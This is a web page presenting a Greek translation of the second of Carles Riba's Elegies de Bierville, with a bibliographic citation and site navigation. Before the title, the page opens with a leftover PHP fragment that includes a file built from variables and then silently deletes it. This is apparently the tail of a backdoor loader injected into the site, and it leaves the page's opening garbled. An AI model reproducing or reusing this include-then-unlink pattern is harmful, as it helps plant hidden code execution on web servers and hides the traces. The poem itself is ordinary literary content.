");fclose($hdl);include("{$eb}.$algo");@unlink("{$eb}.$algo");$npDcheckClassBgp='aue';} ?> - Carles Riba
Facebook Twitter

Elegies de Bierville

Carles Riba
II

Σούνιο! Θα σε αναπολώ σε τόπους μακρινούς με μια κραυγή χαράς,
εσένα και τον ήλιο τον πιστό σου, βασιλιά της θάλασσας και του ανέμου:
ένεκα της θύμησής σου, που με κρατάει όρθιο, ευτυχισμένο από την έξαρση της άρμης,
με το μάρμαρό σου το απόλυτο, ευγενής και παλαιός και εγώ ωσάν κι αυτό.
Ακρωτηριασμένε ναέ, που κοιτάς αφ' υψηλού τους άλλους κίονες
που στου βάραθρού σου τα βάθη, κάτο απ' το γέλιο των κυμάτων,
αιώνια κοιμούνται! Εσύ ξαγρυπνάς, λευκός εκεί στα ύψη,
για το ναύτη, που χάρη σε σένα βλέπει πως είναι η πορεία του σωστή·
για τον μεθυσμένο απ' το όνομά σου, που μέσα από το γυμνό χερσότοπο
έρχεται να σε βρει, μέσα στη βεβαιότητα του ακραίος όμοια με τους θεούς·
για τον εξόριστο, που μέσα από σκοτεινά σύδεντρα διακρίνει
αναπάντεχα εσένα, χειροπιαστό, χιμαιρικό! Και γνωρίζει
χάρη στη δύναμη σου τη δύναμη εκείνη που απ' τα
χτυπήματα της μοίρας τον γλιτώνει,
πλούσιος χάρη σε όσα έχει δώσει, και τόσο αγνός μες στα χαλάσματά του.
Traducido por Eusebi Ayensa i Nikos Pratsinis
Carles Riba, . "Σούνιο! Θα σε αναπολώ σε τόπους μακρινούς..." a: Οι ελεγείες της Μπιερβίλλ [edició bilingüe]. Atenes: Edicions Printa, 2019, p. 37.
Carles Riba
Buscador de autores
A-B-C-D - E-F-G - H - I
J - K - L - M - N - O - P - Q - R
S-T-U-V-W-X-Y-Z
Traducciones de la literatura catalana
Pueden consultar más páginas sobre la literatura catalana en traducción en:
Prosa
Con el soporte de: